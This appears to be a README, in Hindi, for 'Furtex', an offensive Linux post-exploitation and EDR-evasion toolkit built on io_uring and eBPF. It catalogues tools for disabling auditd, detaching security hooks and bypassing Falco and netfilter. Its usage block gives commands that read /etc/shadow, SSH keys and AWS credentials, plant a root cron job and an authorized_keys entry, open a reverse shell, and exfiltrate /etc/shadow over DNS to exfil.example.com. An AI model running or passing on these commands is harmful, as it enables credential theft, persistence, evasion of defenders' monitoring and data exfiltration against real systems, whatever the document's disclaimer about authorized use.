
लिनक्स के लिए पोस्ट-एक्सप्लॉइटेशन और एवेज़न अनुसंधान टूलकिट।
लिनक्स के लिए पोस्ट-एक्सप्लॉइटेशन और एवेज़न रिसर्च टूलकिट, जो io_uring और eBPF पर आधारित है। कोई liburing नहीं, कोई फ्रेमवर्क नहीं, हर जगह रॉ सिस्कॉल्स।
जल्द ही और टूल्स आ रहे हैं। PRs का स्वागत है। 🇧🇷
रूटकिट रिसर्चर्स में शामिल हों
केवल अधिकृत शोध और रेड टीम अभियानों के लिए। इसे उन सिस्टम पर न चलाएँ जिनके आप मालिक नहीं हैं।
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## Requirements
**Toolchain**
| tool | needed for |
|---|---|
| `gcc` | सभी यूजरस्पेस बाइनरी |
| `clang` | `ebpf/*.bpf.c` BPF-पक्ष प्रोग्राम |
| `make` | बिल्ड प्रणाली |
**Headers and libraries**
| package | needed for |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` और संबंधित कर्नेल हेडर |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` और `ebpf/` प्रोग्रामों में उपयोग किए जाने वाले अन्य समान हेडर |
| `bpftool` | `ebpf/` के अंदर `make vmlinux` के माध्यम से `vmlinux.h` उत्पन्न करें |
डेबियन/काली/उबंटू पर:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
Kernel versions
| न्यूनतम | यह क्या अनलॉक करता है |
|---|---|
| 5.4 | io_uring आधार (IORING_FEAT_SINGLE_MMAP, BPF मैप पुनरावृत्ति) |
| 5.6 | IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) |
| 5.8 | CAP_BPF + CAP_PERFMON विभाजन (BPF के लिए CAP_SYS_ADMIN को प्रतिस्थापित करता है) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) |
क्षमताएँ
| क्षमता | इसे आवश्यक बनाने वाले टूल |
|---|---|
CAP_BPF (या 5.8 से पहले CAP_SYS_ADMIN) | सभी bpf/ टूल, ebpf/ लोडर |
CAP_PERFMON | ebpf/ ट्रेसपॉइंट और kprobe प्रोग्राम |
CAP_NET_RAW | icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send, netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
ebpf/ प्रोग्राम्स के लिए make vmlinux चलाने हेतु कर्नेल में BTF सक्षम होना चाहिए (CONFIG_DEBUG_INFO_BTF=y)।
पुराने libc-dev हेडर वाले डिस्ट्रोस (Ubuntu 22.04 आदि) पर आपको #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45 की आवश्यकता हो सकती है। इस रिपॉजिटरी में पहले से संभाला गया है।
| कमांड | निर्माण |
|---|---|
make all | सब कुछ |
make uring | केवल io_uring/ |
make bpf | bpf/ यूज़रस्पेस टूल |
make ebpf | BPF-साइड प्रोग्राम (clang + libbpf की आवश्यकता है) |
make edrs | सभी edrs/ बाइनरी |
make techniques | Falco बायपास टूल |
make clean | सभी बाइनरी हटाएं |
edrs/ के पास अपना स्वयं का sub-Makefile है, जिसमें ~75 बाइनरी विशेषाधिकार के आधार पर विभाजित हैं:```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
पूर्ण विवरण के लिए [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/main/PRIVILEGES.md) देखें।
## io_uring बायपास कवरेज
io_uring SQEs कर्नेल वर्कक्यू से होकर गुजरते हैं। `io_uring_enter(2)` कभी भी `sys_call_table` से होकर कॉल नहीं करता, कभी भी `sys_enter_*` ट्रेसपॉइंट फायर नहीं करता, और `native_sys_call` पर लाइवपैच को कभी ट्रिगर नहीं करता। यह अकेले ही बिना कुछ छुए EDR हुक्स की एक बड़ी श्रेणी को बेअसर कर देता है।
io_uring अपने आप क्या बायपास करता है:
| हुक पॉइंट | टिप्पणी |
|---|---|
| `sys_call_table` पॉइंटर रिप्लेसमेंट | io_uring कभी भी syscall टेबल से नहीं गुजरता |
| `native_sys_call` / `compat_sys_call` पर लाइवपैच | यही कारण |
| `sys_enter_*` ट्रेसपॉइंट | वर्कक्यू पाथ, कोई ट्रेसपॉइंट फायर नहीं होता |
io_uring अपने आप क्या बायपास नहीं करता (एक सक्रिय टूल की आवश्यकता होती है):
| हुक पॉइंट | टूल | टूल क्या करता है |
|---|---|---|
| `vfs_read`, `security_file_open` आदि पर kprobes | `ftrace_enum` | kprobe हुक्स को हटा देता है |
| BPF LSM / KRSI | `bpf_link_detach` | BPF लिंक को अलग कर देता है |
| Linux ऑडिट | `audit_kill` | NETLINK_AUDIT के ज़रिए auditd को अक्षम कर देता है |
| LD_PRELOAD / PLT-GOT पैच | `plt_unhook` | यूज़रलैंड हुक्स को हटा देता है |
| netfilter OUTPUT / conntrack | `af_packet_shell` | लेयर 2 पर AF_PACKET का उपयोग करता है, netfilter को छोड़ देता है |
| `inet_stream_connect` हुक्स | `udp_shell` | UDP का उपयोग करता है, tcp connect पाथ को कभी कॉल नहीं करता |
## io_uring/
`iouring_utils.h` liburing के बिना रिंग सेटअप संभालता है।
| बाइनरी | यह क्या करता है |
|---|---|
| `file_read` | io_uring के ज़रिए OPENAT+READ+CLOSE चेन, कोई sys_enter_read इवेंट नहीं |
| `file_write` | OPENAT+WRITE+CLOSE चेन |
| `file_append` | file_write जैसा ही लेकिन O_APPEND, ऑफसेट -1 |
| `net_connect` | एक ही रिंग में SOCKET+CONNECT+SEND+RECV |
| `net_reverse_shell` | io_uring CONNECT पर रिवर्स शेल |
| `multifile_read` | एक SQE बैच में 64 फाइलों तक |
| `memfd_exec` | stdin के ज़रिए ELF को memfd में स्ट्रीम करता है, /proc/self/fd के ज़रिए execve |
| `proc_inject` | /proc/PID/mem के ज़रिए JIT इंजेक्शन; ptrace इंजेक्शन (--ptrace फ्लैग) |
| `pipe_splice` | SPLICE कर्नेल-से-कर्नेल, यूज़रस्पेस हुक्स बाइट्स कभी नहीं देखते |
| `inotify_bypass_watch` | io_uring READ IN_ACCESS/IN_OPEN जनरेट नहीं करता |
| `dns_exfil` | io_uring SENDMSG पर डेटा को DNS क्वेरी लेबल के रूप में हेक्स-एनकोड करता है |
| `af_packet_send` | AF_PACKET के ज़रिए रॉ Ethernet (IORING_OP_SOCKET, inet पाथ को बायपास करता है) |
| `xdp_socket_send` | AF_XDP + UMEM रिंग के ज़रिए रॉ फ्रेम, netfilter को पूरी तरह बायपास करता है |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
अधिकांश टूल्स को CAP_BPF की आवश्यकता होती है। env_exfil बिना विशेषाधिकार के काम करता है। icmp_trigger को CAP_BPF के बजाय CAP_NET_RAW की आवश्यकता होती है।